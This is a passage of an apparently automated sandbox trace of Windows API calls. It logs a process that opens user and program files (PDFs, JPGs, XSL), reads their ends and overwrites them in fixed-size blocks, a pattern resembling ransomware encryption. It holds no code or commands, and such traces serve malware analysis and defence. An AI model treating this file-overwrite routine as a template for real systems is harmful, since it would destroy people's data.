dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xd27c [0035.805] ReadFile (in: hFile=0x184, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.805] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xd27c [0035.805] WriteFile (in: hFile=0x184, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.805] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0035.805] WriteFile (in: hFile=0x184, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.805] CloseHandle (hObject=0x184) returned 1 [0035.806] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\standard.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0035.807] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.807] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1c4f5 [0035.807] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.807] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.807] ReleaseMutex (hMutex=0x128) returned 1 [0035.807] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.807] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x1e6316c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0035.807] ReadFile (in: hFile=0x184, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.809] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1b4f5 [0035.809] ReadFile (in: hFile=0x184, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.810] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1b4f5 [0035.810] WriteFile (in: hFile=0x184, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.810] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0035.810] WriteFile (in: hFile=0x184, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.810] CloseHandle (hObject=0x184) returned 1 [0035.812] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0035.813] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.813] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x5d3f [0035.813] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.813] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.813] ReleaseMutex (hMutex=0x128) returned 1 [0035.813] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Garden.jpg", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0035.813] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Garden.jpg", cchWideChar=10, lpMultiByteStr=0x1e631ec, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Garden.jpg", lpUsedDefaultChar=0x0) returned 10 [0035.813] ReadFile (in: hFile=0x184, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.817] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x4d3f [0035.817] ReadFile (in: hFile=0x184, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.817] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x4d3f [0035.818] WriteFile (in: hFile=0x184, lpBuffer=0x27724b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27724b8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.818] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0035.818] WriteFile (in: hFile=0x184, lpBuffer=0x27724b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27724b8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0035.818] CloseHandle (hObject=0x184) returned 1 [0035.819] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\MvvfDTDdUJ-88.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mvvfdtdduj-88.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0035.820] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.820] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1069f [0035.820] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.820] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.820] ReleaseMutex (hMutex=0x128) returned 1 [0035.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MvvfDTDdUJ-88.jpg", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0035.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MvvfDTDdUJ-88.jpg", cchWideChar=17, lpMultiByteStr=0x1e7894c, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MvvfDTDdUJ-88.jpg", lpUsedDefaultChar=0x0) returned 17 [0035.820] ReadFile (in: hFile=0x184, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.821] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xf69f [0035.821] ReadFile (in: hFile=0x184, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.821] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xf69f [0035.821] WriteFile (in: hFile=0x184, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.821] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0035.821] WriteFile (in: hFile=0x184, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.821] CloseHandle (hObject=0x184) returned 1 [0035.823] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\r87X_.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\r87x_.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0035.823] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.823] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xe86b [0035.823] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.823] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.823] ReleaseMutex (hMutex=0x128) returned 1 [0035.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="r87X_.jpg", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0035.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="r87X_.jpg", cchWideChar=9, lpMultiByteStr=0x1e631ec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="r87X_.jpg", lpUsedDefaultChar=0x0) returned 9 [0035.823] ReadFile (in: hFile=0x184, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.824] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xd86b [0035.824] ReadFile (in: hFile=0x184, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.824] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xd86b [0035.824] WriteFile (in: hFile=0x184, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.824] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0035.824] WriteFile (in: hFile=0x184, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.824] CloseHandle (hObject=0x184) returned 1 [0035.825] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0035.826] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.826] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1d51 [0035.826] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.826] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.826] ReleaseMutex (hMutex=0x128) returned 1 [0035.826] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Stars.jpg", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0035.826] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Stars.jpg", cchWideChar=9, lpMultiByteStr=0x1e6314c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Stars.jpg", lpUsedDefaultChar=0x0) returned 9 [0035.826] ReadFile (in: hFile=0x184, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1d51, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x340f2bc*=0x1d51, lpOverlapped=0x0) returned 1 [0035.828] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0035.828] WriteFile (in: hFile=0x184, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x22d9, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x340f2d0*=0x22d9, lpOverlapped=0x0) returned 1 [0035.829] CloseHandle (hObject=0x184) returned 1 [0035.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0035.892] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.893] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x4360 [0035.893] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.893] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.893] ReleaseMutex (hMutex=0x128) returned 1 [0035.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="as80.xsl", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0035.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="as80.xsl", cchWideChar=8, lpMultiByteStr=0x1e6314c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="as80.xsl", lpUsedDefaultChar=0x0) returned 8 [0035.893] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.894] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x3360 [0035.894] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.895] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x3360 [0035.895] WriteFile (in: hFile=0x168, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.895] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0035.895] WriteFile (in: hFile=0x168, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0035.895] CloseHandle (hObject=0x168) returned 1 [0035.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\spcwin.exe" (normalized: "c:\\program files\\microsoft sql server compact edition\\spcwin.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0035.896] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\spcwin.exe", nBufferLength=0x104, lpBuffer=0x340f694, lpFilePart=0x340f690 | out: lpBuffer="C:\\Program Files\\Microsoft SQL Server Compact Edition\\spcwin.exe", lpFilePart=0x340f690*="spcwin.exe") returned 0x40 [0035.896] GetLastError () returned 0x20 [0035.896] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x340f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?p̀폈H̀퐔H̀L̀꟠Ǧ\x01") returned 0x51 [0035.897] LocalFree (hMem=0x70da60) returned 0x0 [0035.897] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x340d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0035.897] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x340f894) [0035.897] RtlUnwind (TargetFrame=0x340f8fc, TargetIp=0x406ffc, ExceptionRecord=0x340f378, ReturnValue=0x0) [0035.897] RtlUnwind (TargetFrame=0x340f920, TargetIp=0x407184, ExceptionRecord=0x340f378, ReturnValue=0x0) [0035.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\spcwin.exe" (normalized: "c:\\program files\\microsoft sql server compact edition\\spcwin.exe")) returned 0x20 [0035.897] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.targets"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0035.898] GetFullPathNameW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets", nBufferLength=0x104, lpBuffer=0x340f694, lpFilePart=0x340f690 | out: lpBuffer="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets", lpFilePart=0x340f690*="Workflow.Targets") returned 0x54 [0035.898] GetLastError () returned 0x5 [0035.898] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x340f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̀폈H̀퐔H̀L̀꟠Ǧ\x01") returned 0x13 [0035.898] LocalFree (hMem=0x70b5a8) returned 0x0 [0035.898] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x340d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0035.898] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x340f894) [0035.898] RtlUnwind (TargetFrame=0x340f8fc, TargetIp=0x406ffc, ExceptionRecord=0x340f378, ReturnValue=0x0) [0035.899] RtlUnwind (TargetFrame=0x340f920, TargetIp=0x407184, ExceptionRecord=0x340f378, ReturnValue=0x0) [0035.899] GetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.targets")) returned 0x20 [0035.899] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\fling.exe" (normalized: "c:\\program files\\windows journal\\fling.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0035.899] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\fling.exe", nBufferLength=0x104, lpBuffer=0x340f694, lpFilePart=0x340f690 | out: lpBuffer="C:\\Program Files\\Windows Journal\\fling.exe", lpFilePart=0x340f690*="fling.exe") returned 0x2a [0035.899] GetLastError () returned 0x20 [0035.899] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x340f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?p̀폈H̀퐔H̀L̀꟠Ǧ\x01") returned 0x51 [0035.899] LocalFree (hMem=0x70da60) returned 0x0 [0035.899] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x340d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0035.899] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x340f894) [0035.899] RtlUnwind (TargetFrame=0x340f8fc, TargetIp=0x406ffc, ExceptionRecord=0x340f378, ReturnValue=0x0) [0035.900] RtlUnwind (TargetFrame=0x340f920, TargetIp=0x407184, ExceptionRecord=0x340f378, ReturnValue=0x0) [0035.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\fling.exe" (normalized: "c:\\program files\\windows journal\\fling.exe")) returned 0x20 [0035.900] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Music.jtp" (normalized: "c:\\program files\\windows journal\\templates\\music.jtp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0035.901] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Music.jtp", nBufferLength=0x104, lpBuffer=0x340f694, lpFilePart=0x340f690 | out: lpBuffer="C:\\Program Files\\Windows Journal\\Templates\\Music.jtp", lpFilePart=0x340f690*="Music.jtp") returned 0x34 [0035.901] GetLastError () returned 0x5 [0035.901] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x340f8a4, nSize=0x0, Arguments=0x0 | out: 